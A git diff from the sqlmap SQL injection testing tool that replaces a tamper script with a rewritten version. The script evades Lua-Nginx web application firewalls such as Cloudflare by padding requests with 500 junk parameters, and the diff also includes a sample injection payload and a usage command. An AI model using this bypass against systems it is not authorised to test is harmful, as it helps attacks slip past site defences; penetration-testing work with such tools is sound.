diff --git a/doc/THANKS.md b/doc/THANKS.md index e9e20cfdf..e9eb7456d 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -566,7 +566,7 @@ Efrain Torres, * for his great Metasploit WMAP Framework Jennifer Torres, -* for contributing a tamper script luanginxwafbypass.py +* for contributing a tamper script luanginx.py Sandro Tosi, * for helping to create sqlmap Debian package correctly diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b8cff396..4a61e03ff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.2.10.31" +VERSION = "1.2.10.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/luanginx.py b/tamper/luanginx.py new file mode 100644 index 000000000..bca93e16e --- /dev/null +++ b/tamper/luanginx.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import string +import random + +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.NORMAL + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of more than 100 parameters + + >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) + '0U=&Aq=&Fz=&Ws=&DK=&4F=&rU=&Mp=&48=&Y3=&tT=&3Q=&Dg=&AL=&47=&D1=&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{}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.letters + string.digits, 2)) for _ in xrange(500)) + + return payload diff --git a/tamper/luanginxwafbypass.py b/tamper/luanginxwafbypass.py deleted file mode 100644 index 5b694545b..000000000 --- a/tamper/luanginxwafbypass.py +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -""" -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -''' -[+] LUA-Nginx WAFs Bypass (Cloudflare) -Lua-Nginx WAFs doesn't support processing for more than 100 parameters. - -Example: sqlmap -r file.txt --tamper=luanginxwafbypass.py --dbs --skip-urlencode -p vulnparameter -Required options: --skip-urlencode, -p -''' - -import sys -import string -import random -from lib.core.enums import PRIORITY -from lib.core.data import conf -__priority__ = PRIORITY.HIGHEST - -''' Random parameter''' -def randomParameterGenerator(size=6, chars=string.ascii_uppercase + string.digits): - output = ''.join(random.choice(chars) for _ in range(size)) - return output - -''' Tamper ''' -def tamper(payload, **kwargs): - try: - headers = kwargs.get("headers", {}) - randomParameter = randomParameterGenerator() - parameter = conf["testParameter"][0] - - if not parameter: - print "\n[-] [ERROR] Add an injectable parameter with -p option (-p param)" - sys.exit(0) - - if conf["skipUrlEncode"] != True: - print "\n[-] [ERROR] --skip-urlencode option must be activated" - sys.exit(0) - - # Add 500 parameters to payload - luaBypass = ("&" + randomParameter + "=")*500 + "&" - outputPayload = luaBypass + parameter + "=" + payload - - return outputPayload - except Exception as error: - print error - return None diff --git a/txt/checksum.md5 b/txt/checksum.md5 index fa2c02401..31960d072 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ c8c386d644d57c659d74542f5f57f632 lib/core/patch.py 0c3eef46bdbf87e29a3f95f90240d192 lib/core/replication.py a7db43859b61569b601b97f187dd31c5 lib/core/revision.py fcb74fcc9577523524659ec49e2e964b lib/core/session.py -737cfceb9db54a600e3983ef350f939a lib/core/settings.py +47482757115424a7155720ee7d3e0ced lib/core/settings.py dd68a9d02fccb4fa1428b20e15b0db5d lib/core/shell.py a7edc9250d13af36ac0108f259859c19 lib/core/subprocessng.py 47ad325975ab21fc9f11d90b46d0d143 lib/core/target.py @@ -261,6 +261,7 @@ ef0639557a79e57b06296c4bc223ebef tamper/htmlencode.py 1e5532ede194ac9c083891c2f02bca93 tamper/__init__.py 2dc49bcd6c55f4e2322b07fa92685356 tamper/least.py 40d1ea0796fd91cb3cdd602e36daed15 tamper/lowercase.py +a54b361da0ac6988d0b97bc79463615d tamper/luanginx.py 1c4d622d1c2c77fc3db1f8b3849467ee tamper/modsecurityversioned.py f177a624c2cd3431c433769c6eb995e7 tamper/modsecurityzeroversioned.py 91b63afdb96b1d51c12a14cbd425d310 tamper/multiplespaces.py